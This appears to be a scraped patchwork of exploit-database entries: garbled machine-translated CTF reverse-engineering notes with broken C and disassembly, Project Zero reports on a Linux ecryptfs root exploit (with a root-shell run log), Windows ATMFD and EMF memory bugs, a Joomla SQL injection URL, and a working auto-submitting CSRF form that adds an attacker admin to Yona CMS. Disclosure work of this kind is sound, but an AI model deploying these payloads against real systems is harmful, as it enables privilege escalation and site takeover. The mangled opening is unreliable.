uint8_tdata []={0xeb、0x8e、0x5c、0xa5,0x62,0xb4,0x1c、0x84,0x5c、0x59,0xfc、0xd、0x43,0x3c、0x Ab、0x20,0xd8,0x93,0x33,0x13,0xa1,0x9e、0x39,0x0,0x76,0x14,0xb55,0x4,0x58,0x9d、0x6,0xb8};
uint8_tres [128]={0};
uint32_tk0=0xc23de28d;
uint32_t*d=(uint32_t*)data;
d [0]^=k0;
d [1]^=0xca2df219;
d [2]^=0x52cf1418;
d [3]^=0x139c5a77;
d [4]^=0x5b04ccaa;
d [5]^=0x680cc192;
d [6]^=0x47f95845;
d [7]^=0xc535d968;
printf( '%sn'、d);
}
シェル
問題解決のアイデア
子のプロセスは主に作成され、親子プロセスは廃止されます。子プロセスをダンプするプログラムを見つけます。 https://github.com/glmcdona/process-dump
PD-PIDチャイルドプロセスPID子プロセスPIDをデバッグして、次のようにIDAオープンダンプの後に子プロセスを取得できる
.text:000001fa6c311160pushrsi
.text:000001fa6c311161pushrdi
.text:000001fa6c311162subrsp、28h
.text:000001fa6c311166666666666666666666666666666666
.text:000001fa6c31116dcallsub_1fa6c3112b0
.text:000001fa6c311172learcx、a42s; '%42s'
.text:000001fa6c311179 learsi、nown_string;これは0x40A0です
.text:000001fa6c311180movrdx、rsi
.text:000001fa6c311183callscanf
.text:000001fa6c311188int3; traptodebugger
.text:000001FA6C311189;---------------------------------------------------------------------------
.text:000001fa6c311189movrcx、rsi; str
.text:000001FA6C31118CCALLSTRLEN
.text:000001fa6c31191cmmprax、0c9h
.text:000001fa6c311197jbshortnearptrunk_1fa6c31119e
.text:000001fa6c31199callsub_1fa6c311020
.text:000001FA6C311199;---------------------------------------------------------------------------
.text:000001fa6c31119eunk_1fa6c31119edb0c4h; codexref:main+37↑j
.text:000001fa6c31119fdb12hメインプロセスでのデバッグ機能と組み合わせた
int__fastcallsub_7ff6c56b1560(_dword*a1)
{
//.
if(*a1==0x80000003)
{
V5=QWORD_7FF6C56B5630;
if(qword_7ff6c56b5630)
{
Context.ContextFlags=1048587;
if(!getThreadContext(hthread、context))
{
v6=getLasterRor();
printf( 'getThreadContextFailed:%llxn'、v6);
}
readprocessmemory(hprocess、(lpcvoid)(qword_7ff6c56b5638+0x40a0)、v13,0x2aui64、numberofbytesRead);
v7=_mm_load_si128((const__m128i*)xmmword_7ff6c56b3420
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=836
Stacking filesystems, including ecryptfs, protect themselves against
deep nesting, which would lead to kernel stack overflow, by tracking
the recursion depth of filesystems. E.g. in ecryptfs, this is
implemented in ecryptfs_mount() as follows:
s->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;
rc = -EINVAL;
if (s->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
pr_err("eCryptfs: maximum fs stacking depth exceeded\n");
goto out_free;
}
The files /proc/$pid/{mem,environ,cmdline}, when read, access the
userspace memory of the target process, involving, if necessary,
normal pagefault handling. If it was possible to mmap() them, an
attacker could create a chain of e.g. /proc/$pid/environ mappings
where process 1 has /proc/2/environ mapped into its environment area,
process 2 has /proc/3/environ mapped into its environment area and so
on. A read from /proc/1/environ would invoke the pagefault handler for
process 1, which would invoke the pagefault handler for process 2 and
so on. This would, again, lead to kernel stack overflow.
One interesting fact about ecryptfs is that, because of the encryption
involved, it doesn't just forward mmap to the lower file's mmap
operation. Instead, it has its own page cache, maintained using the
normal filemap helpers, and performs its cryptographic operations when
dirty pages need to be written out or when pages need to be faulted
in. Therefore, not just its read and write handlers, but also its mmap
handler only uses the lower filesystem's read and write methods.
This means that using ecryptfs, you can mmap [decrypted views of]
files that normally wouldn't be mappable.
Combining these things, it is possible to trigger recursion with
arbitrary depth where:
a reading userspace memory access in process A (from userland or from
copy_from_user())
causes a pagefault in an ecryptfs mapping in process A, which
causes a read from /proc/{B}/environ, which
causes a pagefault in an ecryptfs mapping in process B, which
causes a read from /proc/{C}/environ, which
causes a pagefault in an ecryptfs mapping in process C, and so on.
On systems with the /sbin/mount.ecryptfs_private helper installed
(e.g. Ubuntu if the "encrypt my home directory" checkbox is ticked
during installation), this bug can be triggered by an unprivileged
user. The mount helper considers /proc/$pid, where $pid is the PID of
a process owned by the user, to be a valid mount source because the
directory is "owned" by the user.
I have attached both a generic crash PoC and a build-specific exploit
that can be used to gain root privileges from a normal user account on
Ubuntu 16.04 with kernel package linux-image-4.4.0-22-generic, version
4.4.0-22.40, uname "Linux user-VirtualBox 4.4.0-22-generic #40-Ubuntu
SMP Thu May 12 22:03:46 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux".
dmesg output of the crasher:
```
[ 80.036069] BUG: unable to handle kernel paging request at fffffffe4b9145c0
[ 80.040028] IP: [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[ 80.040028] PGD 1e0d067 PUD 0
[ 80.040028] Thread overran stack, or stack corrupted
[ 80.040028] Oops: 0000 [#1] SMP
[ 80.040028] Modules linked in: vboxsf drbg ansi_cprng xts gf128mul dm_crypt snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi vboxvideo snd_seq ttm snd_seq_device drm_kms_helper snd_timer joydev drm snd fb_sys_fops soundcore syscopyarea sysfillrect sysimgblt vboxguest input_leds i2c_piix4 8250_fintek mac_hid serio_raw parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video
[ 80.040028] CPU: 0 PID: 2135 Comm: crasher Not tainted 4.4.0-22-generic #40-Ubuntu
[ 80.040028] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[ 80.040028] task: ffff880035443200 ti: ffff8800d933c000 task.ti: ffff8800d933c000
[ 80.040028] RIP: 0010:[<ffffffff810c9a33>] [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[ 80.040028] RSP: 0000:ffff88021fc03d70 EFLAGS: 00010046
[ 80.040028] RAX: 000000000000dc68 RBX: ffff880035443260 RCX: ffffffffd933c068
[ 80.040028] RDX: ffffffff81e50560 RSI: 000000000013877a RDI: ffff880035443200
[ 80.040028] RBP: ffff88021fc03d70 R08: 0000000000000000 R09: 0000000000010000
[ 80.040028] R10: 0000000000002d4e R11: 00000000000010ae R12: ffff8802137aa200
[ 80.040028] R13: 000000000013877a R14: ffff880035443200 R15: ffff88021fc0ee68
[ 80.040028] FS: 00007fbd9fadd700(0000) GS:ffff88021fc00000(0000) knlGS:0000000000000000
[ 80.040028] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 80.040028] CR2: fffffffe4b9145c0 CR3: 0000000035415000 CR4: 00000000000006f0
[ 80.040028] Stack:
[ 80.040028] ffff88021fc03db0 ffffffff810b4b83 0000000000016d00 ffff88021fc16d00
[ 80.040028] ffff880035443260 ffff8802137aa200 0000000000000000 ffff88021fc0ee68
[ 80.040028] ffff88021fc03e30 ffffffff810bb414 ffff88021fc03dd0 ffff880035443200
[ 80.040028] Call Trace:
[ 80.040028] <IRQ>
[ 80.040028] [<ffffffff810b4b83>] update_curr+0xe3/0x160
[ 80.040028] [<ffffffff810bb414>] task_tick_fair+0x44/0x8e0
[ 80.040028] [<ffffffff810b1267>] ? sched_clock_local+0x17/0x80
[ 80.040028] [<ffffffff810b146f>] ? sched_clock_cpu+0x7f/0xa0
[ 80.040028] [<ffffffff810ad35c>] scheduler_tick+0x5c/0xd0
[ 80.040028] [<ffffffff810fe560>] ? tick_sched_handle.isra.14+0x60/0x60
[ 80.040028] [<ffffffff810ee961>] update_process_times+0x51/0x60
[ 80.040028] [<ffffffff810fe525>] tick_sched_handle.isra.14+0x25/0x60
[ 80.040028] [<ffffffff810fe59d>] tick_sched_timer+0x3d/0x70
[ 80.040028] [<ffffffff810ef282>] __hrtimer_run_queues+0x102/0x290
[ 80.040028] [<ffffffff810efa48>] hrtimer_interrupt+0xa8/0x1a0
[ 80.040028] [<ffffffff81052fa8>] local_apic_timer_interrupt+0x38/0x60
[ 80.040028] [<ffffffff81827d9d>] smp_apic_timer_interrupt+0x3d/0x50
[ 80.040028] [<ffffffff81826062>] apic_timer_interrupt+0x82/0x90
[ 80.040028] <EOI>
[ 80.040028] Code: 0f 1f 84 00 00 00 00 00 66 66 66 66 90 48 8b 47 08 48 8b 97 78 07 00 00 55 48 63 48 10 48 8b 52 60 48 89 e5 48 8b 82 b8 00 00 00 <48> 03 04 cd 80 42 f3 81 48 01 30 48 8b 52 48 48 85 d2 75 e5 5d
[ 80.040028] RIP [<ffffffff810c9a33>] cpuacct_charge+0x23/0x40
[ 80.040028] RSP <ffff88021fc03d70>
[ 80.040028] CR2: fffffffe4b9145c0
[ 80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[ 80.040028] fbcon_switch: detected unhandled fb_set_par error, error code -16
[ 80.040028] ---[ end trace 616e3de50958c35b ]---
[ 80.040028] Kernel panic - not syncing: Fatal exception in interrupt
[ 80.040028] Shutting down cpus with NMI
[ 80.040028] Kernel Offset: disabled
[ 80.040028] ---[ end Kernel panic - not syncing: Fatal exception in interrupt
```
example run of the exploit, in a VM with 4 cores, with Ubuntu 16.04 installed:
```
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh exploit.c hello.c suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./compile.sh
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ls
compile.sh exploit exploit.c hello hello.c suidhelper suidhelper.c
user@user-VirtualBox:/media/sf_vm_shared/crypt_endless_recursion/exploit$ ./exploit
all spammers ready
recurser parent ready
spam over
fault chain set up, faulting now
writing stackframes
stackframes written
killing 2494
post-corruption code is alive!
children should be dead
coredump handler set. recurser exiting.
going to crash now
suid file detected, launching rootshell...
we have root privs now...
root@user-VirtualBox:/proc# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
```
(If the exploit crashes even with the right kernel version, try
restarting the machine. Also, ensure that no program like top/htop/...
is running that might try to read process command lines. Note that
the PoC and the exploit don't really clean up after themselves and
leave mountpoints behind that prevent them from re-running without
a reboot or manual unmounting.)
Note that Ubuntu compiled their kernel with
CONFIG_SCHED_STACK_END_CHECK turned on, making it harder than it used
to be in the past to not crash the kernel while exploiting this bug,
and an overwrite of addr_limit would be useless because at the
time the thread_info is overwritten, there are multiple instances of
kernel_read() on the stack. Still, the bug is exploitable by carefully
aligning the stack so that the vital components of thread_info are
preserved, stopping with an out-of-bounds stack pointer and
overwriting the thread stack using a normal write to an adjacent
allocation of the buddy allocator.
Regarding the fix, I think the following would be reasonable:
- Explicitly forbid stacking anything on top of procfs by setting its
s_stack_depth to a sufficiently large value. In my opinion, there
is too much magic going on inside procfs to allow stacking things
on top of it, and there isn't any good reason to do it. (For
example, ecryptfs invokes open handlers from a kernel thread
instead of normal user process context, so the access checks inside
VFS open handlers are probably ineffective - and procfs relies
heavily on those.)
- Forbid opening files with f_op->mmap==NULL through ecryptfs. If the
lower filesystem doesn't expect to be called in pagefault-handling
context, it probably shouldn't be called in that context.
- Create a dedicated kernel stack cache outside of the direct mapping
of physical memory that has a guard page (or a multi-page gap) at
the bottom of each stack, and move the struct thread_info to a
different place (if nothing else works, the top of the stack, above
the pt_regs).
While e.g. race conditions are more common than stack overflows in
the Linux kernel, the whole vulnerability class of stack overflows
is easy to mitigate, and the kernel is sufficiently complicated for
unbounded recursion to emerge in unexpected places - or perhaps
even for someone to discover a way to create a stack with a bounded
length that is still too high. Therefore, I believe that guard
pages are a useful mitigation.
Nearly everywhere, stack overflows are caught using guard pages
nowadays; this includes Linux userland, but also {### TODO ###}
and, on 64-bit systems, grsecurity (using GRKERNSEC_KSTACKOVERFLOW).
Oh, and by the way: The `BUG_ON(task_stack_end_corrupted(prev))`
in schedule_debug() ought to be a direct panic instead of an oops. At
the moment, when you hit it, you get a recursion between the scheduler
invocation in do_exit() and the BUG_ON in the scheduler, and the
kernel recurses down the stack until it hits something sufficiently
important to cause a panic.
I'm going to send (compile-tested) patches for my first two fix
suggestions and the recursive oops bug. I haven't written a patch for
the guard pages mitigation - I'm not familiar enough with the x86
subsystem for that.
Notes regarding the exploit:
It makes an invalid assumption that causes it to require at least around 6GB of RAM.
It has a trivially avoidable race that causes it to fail on single-core systems after overwriting the coredump handler; if this happens, it's still possible to manually trigger a coredump and execute the suid helper to get a root shell.
The page spraying is pretty primitive and racy; while it works reliably for me, there might be influencing factors that cause it to fail on other people's machines.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39992.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=785
The Adobe Type Manager Font Driver (ATMFD.DLL) responsible for handling PostScript and OpenType fonts in the Windows kernel provides a channel of communication with user-mode applications via an undocumented gdi32!NamedEscape API call. The nature of the channel is similar to IOCTLs [1] of type METHOD_BUFFERED [2], in that it also uses a 32-bit escape code (equivalent to control codes in IOCTL), and input and output buffers employed to pass data to the driver and receive information back. We suspect that this little known interface was originally designed to be more universal, but since ATMFD has remained the only third-party font driver in Windows for the past two decades, in reality it can only be used to interact with this single module.
Considering that there hasn't been any public research into the security of ATMFD's NamedEscape handlers, it is likely that it hasn't been thoroughly audited since the creation of the code. The first public vulnerability disclosed in the interface was a 0-day pool corruption (stemming from a 16-bit signedness issue) discovered in Hacking Team's leaked data dump [3], and subsequently fixed by Microsoft in the MS15-077 bulletin [4]. That security issue motivated us to have a deeper look into the security posture of the code area.
The main hurdle in approaching the NamedEscape attack surface is that Microsoft provides no symbols or other debugging information for the ATMFD.DLL library via the Microsoft Symbol Server, which means that all functionality needs to be reverse-engineered from the ground up, with no hints available whatsoever. At least that was what we believed until recently, when we discovered that the user-mode counterpart of ATMFD is ATMLIB.DLL -- a legacy library rarely used by the operating system nowadays, but which comes with debug symbols and implements many of its features by making NamedEscape calls to the kernel-mode driver. This lead to the further discovery of the "Adobe Type Manager Software API for Windows 95 and Windows NT 4" [5] and "Adobe Type Manager Software API: Windows" [6] documents, which greatly helped us understand the semantics of most of the escape codes, some of the underlying structures and other specifics of the code.
All further analysis presented below is relevant to an ATMFD.DLL file found on Windows 7 32-bit, version 5.1.2.247, md5sum e85bed746bbddcd29ad63f6085e1ce78. The driver currently supports 13 different escape codes in the range of 0x2500 - 0x2514. The bug discussed in this report resides in the handler of code 0x250C, which we have named "ATMGetGlyphName", based on the observation of its behavior and how it is used in the ATMLIB!ATMGetGlyphListW function.
Since the execution flow down the call stack is quite complex before we can reach the vulnerable condition, let's briefly summarize the major stages of execution:
1) The i/o buffer size is enforced to be exactly 48 bytes.
2) The ATMGetGlyphName handler function (atmfd+0x1F12) locates the font object based on its kernel-mode address provided at offset 4 of the i/o buffer.
3) The font is mapped into memory (?) by a function at atmfd+0x5AC6.
4) More logic follows depending on whether the font is a PostScript or OpenType one. We have found the PostScript-specific logic to be uninteresting, so we'll follow the OpenType one.
5) A function at atmfd+0xDF10 (we call it "FormatOpenTypeGlyphName") is called with a controlled 16-bit glyph index and a pointer to offset 8 of the i/o buffer (to copy the name there).
6) In order to retrieve the actual glyph name from the .OTF file, another function at atmfd+0x1A2D6 is invoked, we call it "GetOpenTypeGlyphName".
Here, the interesting functionality begins. If the glyph id is between 0 and 390, the name is obtained from a hard-coded list of names. Otherwise, it is extracted from the .OTF file itself, by reading from the Name INDEX [7]. The core of the function is as follows (in pseudo-code):
--- cut ---
PushMarkerToStack();
int glyph_name_offset = ReadCFFEntryOffset(glyph_id);
int next_glyph_name_offset = ReadCFFEntryOffset(glyph_id + 1);
*pNameLength = next_glyph_name_offset - glyph_name_offset;
EnsureBytesAreAvailable(next_glyph_name_offset - glyph_name_offset);
PopMarkerFromStack();
--- cut ---
The function addresses are as follows:
+-------------------------+---------------+
| Function | Address |
+-------------------------+---------------+
| PushMarkerToStack | inlined |
| ReadCFFEntryOffset | atmfd+0x1994D |
| EnsureBytesAreAvailable | atmfd+0x18D11 |
| PopMarkerFromStack | atmfd+0x18B34 |
+-------------------------+---------------+
The code construct is consistent with the general Name INDEX structure, which is as follows:
+---------+------------------+------------------------------------------------+
| Type | Name | Description |
+---------+------------------+------------------------------------------------+
| Card16 | count | Number of object stored in INDEX |
| OffSize | offSize | Offset array element size |
| Offset | offset [count+1] | Offset array (from byte preceding object data) |
| Card8 | data[<varies>] | Object data |
+---------+------------------+------------------------------------------------+
In order to extract any data from an index, it is necessary to read the offset of the interesting entry, and the next one (to calculate the length), which is what the function does. What are the PushMarkerToStack and PopMarkerFromStack functions, though? As it turns out, the font object being operated on has a 16-element stack (each element 32-bit wide). The ATMFD.DLL file contains multiple assertion strings, which show that the stack is internally named "HeldDataKeys", the element counter is "nHeldDataKeys", and a special -1 value pushed on the stack is "MARK":
"fSetPriv->HeldDataKeys[ fSetPriv->nHeldDataKeys-1] == MARK"
"fSetPriv->nHeldDataKeys >= 0"
"fSetPriv->nHeldDataKeys > 0"
"fSetPriv->nHeldDataKeys < MAXHELDDATAKEYS"
It is generally important for memory safety to never go beyond the bounds of the HeldDataKeys array, as doing otherwise would result in overwriting adjacent fields of the font object structure, or adjacent pool allocations. Therefore, management of the nHeldDataKeys field must be performed very carefully. It appears to be safe in the GetOpenTypeGlyphName function, as only one element is pushed and subsequently popped.
However, if we have a look into the EnsureBytesAreAvailable function, it turns out that if more bytes are requested than are found in the CFF table of the .OTF file, then an exception is generated and handled internally in the routine. One of the actions taken during the handling of the exception is a call to a function at atmfd+0x18C05, which pops all data from the stack until and including the first occurrence of -1. Since another element is also unconditionally popped at the end of GetOpenTypeGlyphName, two elements are popped for just one pushed, which corrupts the state of the nHeldDataKeys field and makes it possible to set it to a negative value.
In this specific case, we fully control the Name INDEX being used. Since it is possible to set the offset size to 4 bytes (through the offSize field mentioned above), we can fully control both 32-bit return values of the ReadCFFEntryOffset calls, and thus also their difference, which is passed as an argument to EnsureBytesAreAvailable.
In the simplest scenario, triggering the vulnerability in ATMGetGlyphName indefinitely will decrement the nHeldDataKeys field one by one, and overwrite earlier and earlier DWORDs on the pool with 0xffffffff (starting with the font object itself, and then moving onto adjacent pool allocations). This is sufficient to demonstrate pool corruption and a system crash; however, it is also possible to maintain a higher degree of control over what is written to the out-of-bounds memory region, by invoking other escape handlers which push more than just the marker, once nHeldDataKeys is already adjusted to where we want to write. This should enable easier and more reliable exploitation.
Another potential obstacle in exploitation could be the fact that the font being operated on must be identified by its kernel-mode address. In practice, however, this is not a problem, as the address can be quickly brute-forced by testing addresses nearby the addresses of other GDI objects (whose locations are available to user-mode programs). This technique was used in the HackingTeam exploit for escape 0x2514. To make it even simpler, the provided proof-of-concept code just brute-forces the entire 32-bit kernel address space, which only takes a few seconds to locate the font object and trigger the bug.
If we start an exploit which triggers the vulnerability 100 times on a system with Special Pools enabled, we should observe the following or similar bugcheck:
--- cut ---
SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION (c1)
Special pool has detected memory corruption. Typically the current thread's
stack backtrace will reveal the guilty party.
Arguments:
Arg1: fe67ef50, address trying to free
Arg2: fe67ee28, address where bits are corrupted
Arg3: 006fa0b0, (reserved)
Arg4: 00000023, caller is freeing an address where nearby bytes within the same page have been corrupted
Debugging Details:
------------------
[...]
BUGCHECK_STR: 0xC1_23
SPECIAL_POOL_CORRUPTION_TYPE: 23
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 2
LAST_CONTROL_TRANSFER: from 82930dd7 to 828cc318
STACK_TEXT:
9f4963e4 82930dd7 00000003 c453df12 00000065 nt!RtlpBreakWithStatusInstruction
9f496434 829318d5 00000003 fe67e000 fe67ee28 nt!KiBugCheckDebugBreak+0x1c
9f4967f8 82930c74 000000c1 fe67ef50 fe67ee28 nt!KeBugCheck2+0x68b
9f496818 82938b57 000000c1 fe67ef50 fe67ee28 nt!KeBugCheckEx+0x1e
9f49683c 8293963d fe67ef50 fe67e000 fe67ef50 nt!MiCheckSpecialPoolSlop+0x6e
9f49691c 82973b90 fe67ef50 00000000 fe67ef50 nt!MmFreeSpecialPool+0x15b
9f496984 96a609cc fe67ef50 00000000 fe67ef60 nt!ExFreePoolWithTag+0xd6
9f496998 96b44ec1 fe67ef60 09fe969f 00000000 win32k!VerifierEngFreeMem+0x5b
WARNING: Stack unwind information not available. Following frames may be wrong.
9f4969cc 96b43850 fe67ef68 09fe9553 00000000 ATMFD+0x14ec1
9f496a00 96b329ab 9f496a24 96b4a736 96b6f024 ATMFD+0x13850
9f496a08 96b4a736 96b6f024 fe744fc0 fe63ccf8 ATMFD+0x29ab
9f496a24 96b41516 fe744fb0 09fe952f fe63ccf8 ATMFD+0x1a736
9f496a7c 96b377e0 09fe95e7 96a60c8e 9f496b40 ATMFD+0x11516
9f496ab4 96b34196 09fe95b7 96a60c8e 9f496b40 ATMFD+0x77e0
9f496ae4 969ce0a1 fde3a898 fde3a898 9f496b80 ATMFD+0x4196
9f496b1c 969ce2c4 fde3a898 fde3a898 00000000 win32k!PDEVOBJ::DestroyFont+0x67
9f496b4c 96954607 00000000 00000000 00000001 win32k!RFONTOBJ::vDeleteRFONT+0x33
9f496b74 969561fe 9f496b98 fde3a898 00000000 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x6fb
9f496ba4 96a1fcc4 00000001 ffbbc234 89a3f7f0 win32k!PFTOBJ::bUnloadWorkhorse+0x114
9f496bcc 96a29ae9 9f496c58 0000002b 00000001 win32k!GreRemoveFontResourceW+0xa0
9f496d14 8288ea16 00319768 0000002b 00000001 win32k!NtGdiRemoveFontResourceW+0x111
9f496d14 76dd70d4 00319768 0000002b 00000001 nt!KiSystemServicePostCall
0022fca4 76de6113 76de5e20 00000020 00000028 ntdll!KiFastSystemCallRet
0022fd84 76dd6078 00000000 00000000 00000090 ntdll!RtlpAllocateHeap+0xe68
0022fe14 76de60e4 76de6113 76ec93f1 75957040 ntdll!ZwQueryInformationProcess+0xc
003b0108 00000000 00000000 00000000 00000000 ntdll!RtlpAllocateHeap+0xab2
--- cut ---
One could wonder if this issue could be triggered directly from within Internet Explorer, via an embedded .OTF font file and an .EMF image containing EMR_NAMEDESCAPE records. One obvious problem is that the font object needs to be identified by its kernel-mode address, which neither the EMF file or even the JavaScript code running in the browser knows. On 64-bit platforms, this address would have to be leaked into JS, which is not a trivial task since the value is not typically stored in the heap, and therefore impossible without using another vulnerability (e.g. an arbitrary read from the GDI handle table). On 32-bit platforms, it could actually be feasible to simply brute-force the address, by including an EMR_NAMEDESCAPE-based exploit chain for every location possible. This, while theoretically feasible, would blow the size of the EMF up to the orders of hundreds of megabytes, making a practical attack unrealistic.
The other obstacle is some obscure reference counting problem with ATMFD. In order for the same object (which contains the HeldDataKeys stack) to persist between multiple calls to NamedEscape (which is what makes it possible to underflow the stack by more than 4 bytes), it is necessary to reference the font after loading it in the system, e.g. with functions such as TextOut() or GetTextMetrics(). However, Internet Explorer does not seem to interact with the font object in any way after loading it in the system, and since the loading itself takes place via a AddFontMemResourceEx API call, the font is private and non-enumerable, meaning that it is impossible to reference it except for the returned handle itself. Until now, we haven't found a way to trigger a large pool corruption from the context of a website, but it could still be possible.
Attached you can find a proof of concept program, which together with the specially crafted .OTF font demonstrates a local pool corruption.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
References:
[1] https://msdn.microsoft.com/pl-pl/library/windows/desktop/aa363219%28v=vs.85%29.aspx
[2] https://msdn.microsoft.com/pl-pl/library/windows/hardware/ff565356%28v=vs.85%29.aspx
[3] https://bugs.chromium.org/p/project-zero/issues/detail?id=473
[4] https://technet.microsoft.com/library/security/ms15-077
[5] https://partners.adobe.com/public/developer/en/atm/5642.ATMWin95andNT.pdf
[6] https://partners.adobe.com/public/developer/en/atm/5073.ATM.API_Win.pdf
[7] https://partners.adobe.com/public/developer/en/font/5176.CFF.pdf
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39991.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=757
As clearly visible in the EMF (Enhanced Metafile) image format specification ([MS-EMF]), there are multiple records which deal with DIBs (Device Independent Bitmaps). Examples of such records are EMR_ALPHABLEND, EMR_BITBLT, EMR_MASKBLT, EMR_PLGBLT, EMR_SETDIBITSTODEVICE, EMR_STRETCHBLT, EMR_STRETCHDIBITS, EMR_TRANSPARENTBLT, EMR_CREATEDIBPATTERNBRUSHPT, EMR_CREATEMONOBRUSH and EMR_EXTCREATEPEN.
The DIB format is relatively complex, since the headers and data itself may be interpreted in a number of ways depending on a combination of settings found in the headers. For example, various (de)compression algorithms can be applied to the data depending on the BITMAPINFOHEADER.biCompression field, and the image data can either be treated as RGB, or indexes into a color palette, depending on BITMAPINFOHEADER.biBitCount. The Windows API functions taking DIBs on input work under the assumption that the passed bitmap is valid, and particularly that there is enough memory in the image buffer to cover all picture pixels.
The EMF format essentially works as a proxy for GDI calls, and therefore the burden of a thorough DIB sanitization is on the underlying implementation. We have found the sanitization performed by a number of EMF record handlers in the gdi32.dll user-mode library to be insufficient, leading to heap-based out-of-bounds reads while parsing/loading the bitmap, and in some cases to a subsequent memory disclosure. Since the bugs are present in a core Windows library, all of its clients which allow the loading of arbitrary EMF images are affected. The severity is highest for software which makes it possible to recover the disclosed heap bytes, as an attacker could then steal secret information from the program's memory, or defeat the ASLR exploit mitigation mechanism to reliably take advantage of another vulnerability.
The DIB-embedding records follow a common scheme: they include four fields, denoting the offsets and lengths of the DIB header and DIB data, respectively (named offBmiSrc, cbBmiSrc, offBitsSrc, cbBitsSrc). A correct implementation should:
1) Verify that cbBmiSrc is within expected bounds, accounting for the DIB header, color palette etc.
2) Verify that the (offBmiSrc, offBmiSrc + cbBmiSrc) region resides within the record buffer's area.
3) Verify that cbBitsSrc is within expected bounds, and especially that it is larger or equal the expected number of bitmap bytes.
4) Verify that the (offBitsSrc, offBitsSrc + cbBitsSrc) region resides within the record buffer's area.
If any of the above steps is not executed correctly, it is possible for an attacker to craft an EMF file which causes gdi32.dll to attempt to create DIB objects based on out-of-bounds memory. As it turns out, many EMF record handlers fail to perform exhaustive sanitization. Our analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system. The problems we have discovered are as follows:
--------------------------------------------------------------------------------
- MRALPHABLEND::bPlay
- MRBITBLT::bPlay
- MRMASKBLT::bPlay
- MRPLGBLT::bPlay
- MRSTRETCHBLT::bPlay
- MRTRANSPARENTBLT::bPlay
--------------------------------------------------------------------------------
Conditions (1) and (2) are not checked.
--------------------------------------------------------------------------------
- MRSETDIBITSTODEVICE::bPlay
--------------------------------------------------------------------------------
Condition (3) is not checked.
--------------------------------------------------------------------------------
- MRSTRETCHDIBITS::bPlay
--------------------------------------------------------------------------------
Conditions (1) and (3) are not checked.
--------------------------------------------------------------------------------
- MRSTRETCHDIBITS::bPlay
- MRCREATEMONOBRUSH::bPlay
- MREXTCREATEPEN::bPlay
--------------------------------------------------------------------------------
Conditions (1), (2), (3) and (4) are not checked.
Please note that seeing the general class of bugs and how widespread it is across various DIB-related EMF handlers, we only performed a cursory analysis to see which checks are missing from which functions. It is possible that there are more missing sanity checks in some of them that we haven't noted in the list above. We recommend performing a careful security audit of the handlers dealing with DIBs, to ensure they perform correct and complete sanitization of the input data.
In order to demonstrate that the bug is real and affects Internet Explorer (among other targets - Microsoft Office 2013 was also tested), we have hacked up a proof-of-concept EMF file, which includes a specially crafted EMR_STRETCHBLT record, which in turn contains a 8 bpp DIB, whose palette entries go beyond the record area. Each time the image is opened in Internet Explorer, it is displayed differently, as the garbage heap bytes beyond the allocated buffer change. Attached is also a screenshot of the proof of concept picture, as displayed by Internet Explorer 11 on Windows 7 when opened three times in a row.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39990.zip
# Exploit Title: Joomla com_publisher component SQL Injection vulnerability
# Exploit Author: s0nk3y
# Date: 21-06-2016
# Software Link: http://extensions.joomla.org/extension/publisher-pro
# Category: webapps
# Version: All
# Tested on: Ubuntu 16.04
1. Description
Publisher Pro is the ultimate publishing platform for Joomla, turning your
site into a professional news portal or a magazine that people want to read!
2. Proof of Concept
Itemid Parameter Vulnerable To SQL Injection
http://server/index.php?option=com_publisher&view=issues&Itemid=[SQLI]&lang=en
<!--
# Exploit Title: Yona CMS <= 1.3.x Remote Admin Add CSRF Exploit
# Exploit Author: s0nk3y
# Google Dork: -
# Date: 21/06/2016
# Vendor Homepage: http://yonacms.com
# Software Link: https://github.com/oleksandr-torosh/yona-cms/
# Version: 1.3.x
# Tested on: Ubuntu 16.04
Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/admin/admin-user/add) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/admin)
using the username and the password he posted in the form.
CSRF PoC Code
=============
-->
<form method="post" action="http://localhost/admin/admin-user/add">
<input type="hidden" name="login" value="attacker"/>
<input type="hidden" name="email" value="attacker@email.com"/>
<input type="hidden" name="name" value="attacker"/>
<input type="hidden" name="role" value="admin"/>
<input type="hidden" name="password" value="attackerPassword"/>
<input type="hidden" name="active"/>
</form>
<script>
document.forms[0].submit();
</script>
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=746
The attached PoC triggers a blue screen on Windows 7 with special pool enabled on win32k.sys . A reference to the bitmap object still exists in the device context after it has been deleted.
Proof of Concept:
